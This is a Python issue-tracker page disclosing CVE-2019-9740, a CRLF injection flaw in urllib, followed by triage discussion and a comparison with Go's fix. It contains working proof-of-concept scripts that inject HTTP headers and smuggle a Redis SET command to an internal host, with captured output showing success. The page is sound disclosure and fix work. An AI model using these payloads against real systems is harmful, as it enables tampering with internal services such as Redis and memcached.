» Issue36276



This issue tracker **has been migrated to GitHub**, and is currently **read-only**.
For more information, **see the GitHub FAQs in the Python's Developer Guide.**



This issue has been migrated to GitHub:
https://github.com/python/cpython/issues/80457

classification

Title: [CVE-2019-9740] Python urllib CRLF injection vulnerability	
Type: security	**Stage**: resolved
Components: Library (Lib)	**Versions**: Python 3.8, Python 3.7, Python 2.7

process

Status: closed	**Resolution**: duplicate
Dependencies:	**Superseder**: [security][CVE-2019-9740][CVE-2019-9947] HTTP Header Injection (follow-up of CVE-2016-5699) View: ~~30458~~
Assigned To: orsenthil	**Nosy List**: alvinchang, brett.cannon, cstratak, martin.panter, orsenthil, ragdoll.guo, vstinner, xtreak
Priority: normal	**Keywords**:

Created on **2019-03-13 01:26** by **ragdoll.guo**, last changed **2022-04-11 14:59** by **admin**. This issue is now **closed**.

Files

File name	Uploaded	Description	Edit
python-urllib-CRLF-injection-vulnerability.pdf	ragdoll.guo, 2019-03-13 01:26	Vulnerability details	

Pull Requests

URL	Status	Linked	Edit
PR 12755	merged	gregory.p.smith, 2019-04-10 00:39	

Messages (11)

msg337827 - (view) **Author: ragdoll (ragdoll.guo)** **Date: 2019-03-13 01:26**

Abstract:
A CRLF injection vulnerability of Python built-in urllib module (“urllib2” in 2.x，”urllib” in 3.x) was found by our team. Attacker who has the control of the requesting address parameter, could exploit this vulnerability to manipulate a HTTP header and attack an internal service, like a normal Webserver, Memcached, Redis and so on.

Principles:
The current implementation of urllib does not encode the ‘\r\n’ sequence in the query string, which allowed the attacker to manipulate a HTTP header with the ‘\r\n’ sequence in it, so the attacker could insert arbitrary content to the new line of the HTTP header.

Proof of Concept:
Consider the following Python3 script:

```
#!/usr/bin/env python3

import sys
import urllib
import urllib.error
import urllib.request

host = "10.251.0.83:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123"
url = "http://" + host + ":8080/test/?test=a"

try:
    info = urllib.request.urlopen(url).info()
    print(info)
except urllib.error.URLError as e:
    print(e)
#end
```

In this script, the host parameter usually could be controlled by user, and the content of host above is exactly the payload. We setup a server using nc to open a 7777 port and to receive and display the HTTP request data from client , then run the code above on a client to sent a HTTP request to the server.

```
# nc -l -p 7777
GET /?a=1 HTTP/1.1
X-injected: header
TEST: 123:8080/test/?test=a HTTP/1.1
Accept-Encoding: identity
Host: 10.251.0.83:7777
User-Agent: Python-urllib/3.7
Connection: close


#end
```

As you can see in the picture above , the nc server displayed the HTTP

request with a manipulated header content:” X-injected:header”, which means we successfully injected the HTTP header. In order to make the injected header available, we have to add an extra ‘\r\n’ after the new header, so we add another parameter to contain the original parameter data, like ‘TEST’ in above sample.

Attack Scenarios
1. By crafting HTTP headers, it’s possible to fool some web services;
2. It’s also possible to attack several simple services like Redis, memcached.
Let’s take Redis as a example here:
Adapt the script above to this:

```
#!/usr/bin/env python3

import sys
import urllib
import urllib.error
import urllib.request

host = "10.251.0.83:6379?\r\nSET test success\r\n"
url = "http://" + host + ":8080/test/?test=a"

try:
    info = urllib.request.urlopen(url).info()
    print(info)
except urllib.error.URLError as e:
    print(e)
#end
```

We changed the injected header to a valid redis command, after executing this, we check the redis server:

```
127.0.0.1:6379> GET test
"success"
127.0.0.1:6379>
```

We can see that a “test” key was inserted successfully.

Conclusion:
The implementation of parameter handling of urllib is vulnerable, which allows attacker to manipulate the HTTP header. Attacker who has ability to take control of the requesting address parameter of this library, could exploit this vulnerability to manipulate a HTTP header and attack an internal host like a normal Webserver, Memcached, Redis and so on.

msg337829 - (view) **Author: Karthikeyan Singaravelan (xtreak) *** **Date: 2019-03-13 02:19**

See also **https://bugs.python.org/issue30458#msg295067**

msg337837 - (view) **Author: Alvin Chang (alvinchang)** **Date: 2019-03-13 06:05**

I am also seeing the same issue with urllib3

```
import urllib3
```

```
pool_manager = urllib3.PoolManager()

host = "localhost:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123"
url = "http://" + host + ":8080/test/?test=a"

try:
    info = pool_manager.request('GET', url).info()
    print(info)
except Exception:
    pass

nc -l localhost 7777
GET /?a=1 HTTP/1.1
X-injected: header
TEST: 123:8080/test/?test=a HTTP/1.1
Host: localhost:7777
Accept-Encoding: identity
```

msg337878 - (view) **Author: Brett Cannon (brett.cannon) *** **Date: 2019-03-13 22:00**

And security issues should be reported according to **https://www.python.org/news/security/** .

msg337910 - (view) **Author: Senthil Kumaran (orsenthil) *** **Date: 2019-03-14 11:50**

Thanks for this report. Should we make this a duplicate of this ~~**issue30458**~~ - as they are both referring to the same problem with the underlying library?

msg337953 - (view) **Author: Brett Cannon (brett.cannon) *** **Date: 2019-03-14 17:23**

Yep, if it's the same problem then close this as a dupe and just poke the other issue.

msg337961 - (view) **Author: ragdoll (ragdoll.guo)** **Date: 2019-03-15 01:19**

OK

msg337968 - (view) **Author: Karthikeyan Singaravelan (xtreak) *** **Date: 2019-03-15 06:03**

For reference an exact report on golang repo : **https://github.com/golang/go/issues/30794** . This seemed to have been fixed in latest golang release 1.12 and commit **https://github.com/golang/go/commit/829c5df58694b3345cb5ea41206783c8ccf5c3ca** . The commit introduces a check for CTL characters and throws an error for URLs something similar to Python does for headers now at **bf3e1c9b80e9**.

```
func isCTL(r rune) bool {
        return r < ' ' || 0x7f <= r && r <= 0x9f
}
```

```
if strings.IndexFunc(ruri, isCTL) != -1 {
        return errors.New("net/http: can't write control character in
Request.URL")
}
```

So below program used to work before go 1.12 setting a key on Redis but now it throws error :

```
package main

import "fmt"
import "net/http"

func main() {
        resp, err := http.Get("http://127.0.0.1:6379?\r\nSET test
failure12\r\n:8080/test/?test=a")
        fmt.Println(resp)
        fmt.Println(err)
}


➜  go version
go version go1.12 darwin/amd64
➜  go run urllib_vulnerability.go
<nil>
parse http://127.0.0.1:6379?
SET test failure12
:8080/test/?test=a: net/url: invalid control character in URL
```

Looking more into the commit there seemed to be a solution towards escaping characters with **https://github.com/golang/go/issues/22907** . The fix seemed to have broke Google's internal tests [0] and hence reverted to have the above commit where only CTL characters were checked and raises an error. I think this is a tricky bug upon reading code reviews in the golang repo that has around 2-3 reports with a fix committed to be reverted later for a more conservative fix and the issue was reopened to target go 1.13 .

Thanks a lot for the report @ragdoll.guo

[0] **https://go-review.googlesource.com/c/go/+/159157/2#message-39c6be13a192bf760f6318ac641b432a6ab8fdc8**

msg338099 - (view) **Author: Senthil Kumaran (orsenthil) *** **Date: 2019-03-16 20:54**

Marking this as duplicate of ~~**issue30458**~~.

Thanks for the discussion.

msg338441 - (view) **Author: Senthil Kumaran (orsenthil) *** **Date: 2019-03-20 06:14**

I am going to make a note that the Superseder

1) **https://bugs.python.org/issue30458** - is listed only as pending request for 2.7 with the intention to raise an Exception.

However, this bug demonstrates a vulnerability in all versions of Python (including 3.8 as of March 2019).

There are additional related bug reports that deal with the same topic of parsing CRLF in headers / or in requests.

2) **https://bugs.python.org/issue14826**
3) **https://bugs.python.org/issue13359**

A consolidation of all of these is required, and at the end, our goal should be the close the loophole reported by this bug.

I am assigning this bug to myself to work on it, and my first task is make sure that the previous reports 1, 2 and 3 cover the scenario mentioned in this report. If they do not, I will reopen this ticket.

Thanks!

msg339753 - (view) **Author: STINNER Victor (vstinner) *** **Date: 2019-04-09 14:27**

The CVE-2019-9740 has been assigned to this issue:

* **https://nvd.nist.gov/vuln/detail/CVE-2019-9740**
* **https://bugzilla.redhat.com/show_bug.cgi?id=1692984**

... which has been marked as a duplicate of ~~**bpo-30458**~~.

History

Date	User	Action	Args
2022-04-11 14:59:12	admin	set	github: 80457
2019-04-10 00:39:59	gregory.p.smith	set	pull_requests: + **pull_request12683**
2019-04-09 14:27:02	vstinner	set	messages: + **msg339753** title: Python urllib CRLF injection vulnerability -> [CVE-2019-9740] Python urllib CRLF injection vulnerability
2019-03-26 21:44:25	cstratak	set	nosy: + **cstratak**
2019-03-20 06:14:57	orsenthil	set	assignee: **orsenthil** messages: + **msg338441**
2019-03-17 08:52:59	xtreak	set	superseder: **[security][CVE-2019-9740][CVE-2019-9947] HTTP Header Injection (follow-up of CVE-2016-5699)**

2019-03-16 20:54:02	orsenthil	set	status: open -> closed resolution: duplicate messages: + **msg338099** stage: resolved
2019-03-15 06:03:18	xtreak	set	messages: + **msg337968**
2019-03-15 01:19:31	ragdoll.guo	set	messages: + **msg337961**
2019-03-14 17:23:20	brett.cannon	set	messages: + **msg337953**
2019-03-14 11:50:48	orsenthil	set	messages: + **msg337910**
2019-03-13 22:00:52	brett.cannon	set	nosy: + **brett.cannon** messages: + **msg337878**
2019-03-13 07:38:38	xtreak	set	nosy: + **vstinner**
2019-03-13 06:05:54	alvinchang	set	nosy: + **alvinchang** messages: + **msg337837**
2019-03-13 02:19:43	xtreak	set	nosy: + **martin.panter**, **xtreak**, **orsenthil** messages: + **msg337829**
2019-03-13 01:26:51	ragdoll.guo	create	